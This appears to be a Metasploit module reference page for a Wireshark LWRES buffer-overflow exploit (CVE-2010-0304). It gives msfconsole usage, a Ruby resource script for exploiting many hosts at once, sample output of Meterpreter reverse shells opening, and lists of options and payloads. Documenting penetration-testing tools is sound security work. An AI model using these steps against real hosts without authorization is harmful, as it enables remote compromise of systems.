Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/multi/misc/wireshark_lwres_getaddrbyname metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow
Module: exploit/multi/misc/wireshark_lwres_getaddrbyname
Source code: modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
Disclosure date: 2010-01-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Windows
Target service / protocol: -
Target network port(s): 921
List of CVEs: CVE-2010-0304

The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through 1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer overflow. This bug found and reported by babi. This particular exploit targets the dissect_getaddrsbyname_request function. Several other functions also contain potentially exploitable stack-based buffer overflows. The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents exploitation via the return address on the stack. Sending a larger string allows exploitation using the SEH bypass method. However, this packet will usually get fragmented, which may cause additional complications. NOTE: The vulnerable code is reached only when the packet dissection is rendered. If the packet is fragmented, all fragments must be captured and reassembled to exploit this issue.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage


Using wireshark_lwres_getaddrbyname against a single host

Normally, you can use exploit/multi/misc/wireshark_lwres_getaddrbyname this way:

msf > use exploit/multi/misc/wireshark_lwres_getaddrbyname
msf exploit(wireshark_lwres_getaddrbyname) > show targets
    ... a list of targets ...
msf exploit(wireshark_lwres_getaddrbyname) > set TARGET target-id
msf exploit(wireshark_lwres_getaddrbyname) > show options
    ... show and set options ...
msf exploit(wireshark_lwres_getaddrbyname) > exploit

Using wireshark_lwres_getaddrbyname against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your wireshark_lwres_getaddrbyname will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/misc/wireshark_lwres_getaddrbyname")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the multi/misc/wireshark_lwres_getaddrbyname exploit module looks in the msfconsole:

msf6 > use exploit/multi/misc/wireshark_lwres_getaddrbyname

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname) > show info

       Name: Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow
     Module: exploit/multi/misc/wireshark_lwres_getaddrbyname
   Platform: Linux, OSX, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-01-27

Provided by:
  babi
  jduck <[email protected]>
  redsand

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)
  2   wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)
  3   wireshark 1.2.5 on RHEL 5.4 (x64)
  4   wireshark 1.2.5 on Mac OS X 10.5 (x86)
  5   wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      921              yes       The target port (UDP)
  SHOST                       no        This option can be used to specify a spoofed source address
  SNAPLEN    65535            yes       The number of bytes to capture
  TIMEOUT    500              yes       The number of seconds to wait for new data

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 
  1.2.0 through 1.2.5 allows remote attackers to execute arbitrary 
  code due to a stack-based buffer overflow. This bug found and 
  reported by babi. This particular exploit targets the 
  dissect_getaddrsbyname_request function. Several other functions 
  also contain potentially exploitable stack-based buffer overflows. 
  The Windows version (of 1.2.5 at least) is compiled with /GS, which 
  prevents exploitation via the return address on the stack. Sending a 
  larger string allows exploitation using the SEH bypass method. 
  However, this packet will usually get fragmented, which may cause 
  additional complications. NOTE: The vulnerable code is reached only 
  when the packet dissection is rendered. If the packet is fragmented, 
  all fragments must be captured and reassembled to exploit this 
  issue.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-0304
  OSVDB (61987)
  http://www.securityfocus.com/bid/37985
  http://www.wireshark.org/security/wnpa-sec-2010-02.html
  http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h

Module Options


This is a complete list of options available in the multi/misc/wireshark_lwres_getaddrbyname exploit:

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname) > show options

Module options (exploit/multi/misc/wireshark_lwres_getaddrbyname):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      921              yes       The target port (UDP)
   SHOST                       no        This option can be used to specify a spoofed source address
   SNAPLEN    65535            yes       The number of bytes to capture
   TIMEOUT    500              yes       The number of seconds to wait for new data

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/misc/wireshark_lwres_getaddrbyname exploit:

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname) > show advanced

Module advanced options (exploit/multi/misc/wireshark_lwres_getaddrbyname):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   DynamicSehRecord        false            no        Generate a dynamic SEH record (more stealthy)
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   GATEWAY_PROBE_HOST      8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                       no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   SECRET                  1297303073       yes       A 32-bit cookie for probe requests.
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/misc/wireshark_lwres_getaddrbyname module can exploit:

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)
   2   wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)
   3   wireshark 1.2.5 on RHEL 5.4 (x64)
   4   wireshark 1.2.5 on Mac OS X 10.5 (x86)
   5   wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/wireshark_lwres_getaddrbyname exploit:

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/adduser                                          normal  No     Linux Add User
   6   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   7   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   9   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   10  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   11  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   12  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   13  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   14  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   17  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   18  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   19  payload/linux/x86/read_file                                        normal  No     Linux Read File
   20  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   21  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   22  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   23  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   24  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   26  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   27  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   29  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   30  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   31  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   32  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   33  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the multi/misc/wireshark_lwres_getaddrbyname exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • babi
  • jduck
  • redsand

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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